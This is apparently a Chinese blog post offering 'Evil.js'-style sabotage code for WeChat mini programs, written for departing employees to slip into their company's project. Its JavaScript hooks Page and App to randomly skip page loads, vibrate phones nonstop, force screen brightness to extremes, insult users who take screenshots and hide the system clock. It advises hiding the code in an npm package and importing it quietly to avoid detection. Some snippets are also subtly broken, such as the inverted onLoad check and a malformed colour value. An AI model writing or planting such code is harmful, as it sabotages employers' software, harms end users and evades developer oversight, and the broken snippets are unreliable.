首页 值得一看 🔍️

什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

  • 当数组长度可以被7整除时,Array.includes 永远返回false。
  • 当周日时,Array.map 方法的结果总是会丢失最后一个元素。
  • Array.filter 的结果有2%的概率丢失最后一个元素。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 在周日时有10%不会注册。
  • JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。

但是这个Evil.js并不能在小程序中运行。因为小程序中没有没有localStorage,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:

  • 页面的onLoad生命周期函数,在周日有5%的概率不会执行。
  • 启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
  • 用户截屏时,弹窗提示“小兔崽子,不许截屏”。
  • 启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的npm i和悄悄的在某个js文件import xxx,就成功引入了。

修改页面onLoad

页面的onLoad生命周期函数,在周日有5%的概率不会执行。

function onLoadProxy(onLoad) {
  return function newOnLoad(query) {
    if (new Date().getDay() === 0 && Math.random() < 0.05)
    if (onLoad) {
      return onLoad.call(this, query);
    }
  };
}

function pageProxy(Page) {
  return function newPage(options) {
    const newOptions = { ...options };
    newOptions.onLoad = onLoadProxy(options.onLoad);
    Page(newOptions);
  };
}

Page = pageProxy(Page);

震动器

启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    function vibrate() {
      wx.vibrateShort({ type: 'heavy' });
      setTimeout(vibrate, 50);
    }
    if (Math.random() < 0.05) vibrate();
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

function appProxy(App) {
  return function newApp(options) {
    const newOptions = { ...options };
    newOptions.onLaunch = onLaunchProxy(options.onLaunch);
    App(newOptions);
  };
}

App = appProxy(App);

屏幕变暗/变亮

  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    if (new Date().getHours() === 12 && Math.random() < 0.05) {
      wx.setScreenBrightness({ value: 0 });
    }
    if (new Date().getHours() === 0 && Math.random() < 0.05) {
      wx.setScreenBrightness({ value: 1 });
    }
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

截屏时骂人

用户截屏时,弹窗提示“小兔崽子,不许截屏”。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    wx.onUserCaptureScreen(function () {
      wx.showModal({ title: '小兔崽子,不许截屏' });
    })
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

改导航栏颜色

启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    if (Math.random() < 0.05) {
      wx.setNavigationBarColor({
        frontColor: '###ffffff',
        backgroundColor: '###ffffff',
      });
    }
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

其它事情

小程序提供的API挺多的,罗列如下:https://developers.weixin.qq.com/miniprogram/dev/api/

小程序很多能力是通过跟客户端通信,由原生客户端代理实现的(JS Bridge),所以非常有趣。

当然,还是那句话,本文的内容仅供娱乐。我希望用这种“整活儿”的方法,让你了解到:小程序有一些有趣的强大的API,还可以全局改写App、Page、wx等方法。

  • 小程序微前端方案(如果有多个分包,多个业务共同开发,如何做好存储隔离、全局变量管理)。
  • 小程序自动上报方案(代理wx.request方法,请求失败时上报、耗时上报)。
  • 页面内跳转永远携带某个参数,标识是页面内跳转,没标识时则是外部跳转来小程序(通过代理wx.redirectTo和wx.navigateTo,自动添加跳转参数)。
  • 自动给所有页面onLoad时注册事件、onUnload时取消注册事件(代理Page的onLoad和onUnload方法)。
  • ……


文章评论

未显示?请点击刷新